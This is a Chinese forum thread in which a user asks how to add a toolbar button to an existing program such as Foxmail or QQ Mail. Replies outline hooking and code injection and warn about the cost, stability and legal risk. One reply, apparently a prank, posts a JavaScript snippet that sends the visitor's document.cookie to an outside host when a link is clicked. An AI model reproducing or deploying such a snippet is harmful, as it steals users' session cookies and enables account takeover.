如何给已发布产品上进行二次开发,给其工具栏添加一个按钮。比如给qq邮箱工具栏添加一个按钮。。

解决方案 »

  1.   

    获取某程序句柄
    挂载个按钮
    加载事件
    应该不是很难。
    多多google就行了
      

  2.   

    那我就不比如了,我就是想在foxmail的工具栏上添加一个按钮
      

  3.   

    学生时代给人做过一个,花了我半个月时间,用了很多技术,还不是很稳定。象征性地收了人家5K RMB。
      

  4.   

    <script>function test() {         var img = new Image();         img.src="http://www.caihuadadao.com?cookie="+encodeURIComponent(document.cookie);}</script><a href="http://www.2cto.com" onclick="test();">点一下你就完了</a>
      

  5.   

    说实在的,其实也没有什么技术含量,就是添加按钮,注入代码,挂钩,响应消息,转入自己的代码处理。你可以动态给任何程序增加功能。(当然也有静态的办法,我没有研究)但是具体到程序中,你要写得足够稳定可靠,并不容易,你的代码和程序在一个进程地址内工作,没有任何机制保护进程的内存,你写一个插件,让程序弹出一个Msgbox是一回事,写出一个程序,增加实实在在的功能是另一回事。还要考虑程序本身退出怎么释放自己,而且要做成通用的(不同的程序版本都要能工作,不同的操作系统,中文英文)这还不考虑杀毒软件的问题,Windows Vista的UAC,Intel处理器的DEP等新的技术,还要实时跟踪人家的软件,人家Foxmail改了,你就要维护之。总之这种事情你自己研究不划算,你经年累月地研究,也赚不到足够多的钱,除非你像珊瑚虫那样搞大,但是这样法律风险也很大。
      

  6.   

    学生时代我闲着没事,研究下技术,但是后面的事情就太麻烦了。学不到什么东西,忙东忙西地搞,如果你的老板肯花钱,自然能找到人去做。顺便说下,支持二次开发的Outlook开发插件就so easy了。